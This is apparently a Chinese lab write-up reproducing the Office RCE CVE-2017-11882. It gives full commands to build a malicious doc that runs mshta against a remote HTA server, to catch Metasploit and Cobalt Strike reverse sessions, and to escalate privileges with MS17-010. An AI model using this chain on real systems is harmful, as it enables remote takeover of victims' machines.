这个 Office RCE 漏洞非常经典,在当时是通杀所有 Office 版本的,实际上在 17 年左右就有很多复现文章了(尴尬),只是国光我复现的太晚了,晚了 3 年……

前言

潜伏 17 年之久的Office远程代码执行漏洞(CVE-2017-11882)影响版本从 Office 2000 到当时最新的 Office 2016,攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。

环境

系统 Office
Windows 7 SP1 旗舰版 Office 2016

Windows7 SP1 旗舰版迅雷下载链接:

ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

Office 2016 迅雷下载链接:

ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/

POC

项目地址https://github.com/Ridter/CVE-2017-11882

弹窗

直接使用 Command109b_CVE-2017-11882.py 脚本可以生成带命令的 doc Word 文件,然后受害者打开可以直接弹窗出来:

python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
[*] Done ! output file --> test.doc

但是这样弹窗没有意义,又因为这个漏洞执行的命令是以当前登录的用户的身份,所以如果对方不是高权限用户的话,是无法直接添加管理员的,因为无法 Bypass UAC,所以得想办法上线 MSF 或者 CS,然后后期再提权。

上线 MSF

MSF IP 受害者
10.20.24.244 Windows 7 SP 1

hta 生成

hta 是 HTML 应用程序,大多数的 Windows 操作系统都支持 hta 文件执行,利用 mshta.exe 解析 .hta文件执行,这里的 .hta 文件可以是本地的也可以是可访问的远程主机上的。

msf5 > use exploit/windows/misc/hta_server

# 设置反向 HTTP 回连
msf5 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

msf5 exploit(windows/misc/hta_server) > set lhost 10.20.24.244
lhost => 10.20.24.244

msf5 exploit(windows/misc/hta_server) > set lport 6666
lport => 6666

msf5 exploit(windows/misc/hta_server) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started HTTP reverse handler on http://10.20.24.244:6666

msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://0.0.0.0:8080/n8Zw0EKX.hta
[*] Local IP: http://10.20.24.244:8080/n8Zw0EKX.hta
[*] Server started.

EXP 生成

直接使用 py 脚本将想要执行的命令写入到 doc 文件中:

python Command109b_CVE-2017-11882.py -c "mshta http://10.20.24.244:8080/n8Zw0EKX.hta" -o exp.doc
[*] Done ! output file --> exp.doc

受害者打开了 doc 文档 成功上线:

上线 CS

因为 MSF 和 CS 的会话是一个协议的,所以可以直接改上面的 payload 然后直接打到 CS 的监听器上,这样就直接上线了。

监听器

CS IP MSF IP 受害者
10.11.38.147 10.20.24.244 Windows 7 SP 1

只需要这一个普通的监听器即可

hta 生成

CS 也是自带 hta 生成的,大家应该都清楚的吧,国光这里不多说了。国光下面来讲解一下如何使用 MSF 的 payload 直接上线 CS ,直接贴命令:

msf5 > use exploit/windows/misc/hta_server

msf5 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

# 这里直接填写 CS 的 监听器信息
msf5 exploit(windows/misc/hta_server) > set lhost 10.11.38.147
lhost => 10.11.38.147

msf5 exploit(windows/misc/hta_server) > set lport 5555
lport => 5555

msf5 exploit(windows/misc/hta_server) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 10.11.38.147:5555
[*] Started HTTP reverse handler on http://0.0.0.0:5555
msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://0.0.0.0:8080/rjw00gEIB5.hta
[*] Local IP: http://10.20.24.244:8080/rjw00gEIB5.hta
[*] Server started.

EXP 生成

直接使用 py 脚本将想要执行的命令写入到 doc 文件中:

python Command109b_CVE-2017-11882.py -c "mshta http://10.20.24.244:8080/rjw00gEIB5.hta" -o exp.doc
[*] Done ! output file --> exp.doc

受害者打开了 doc 文档 , CS 这边成功上线:

提权

当前的用户为 sec 用户,可以直接使用经典的 MS17-010 提权:

然后填写受害者的 IP 信息:

直接 GO 提权成功:

不知道为啥,一下上线了 3 个 SYSTEM 系统权限用户。

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光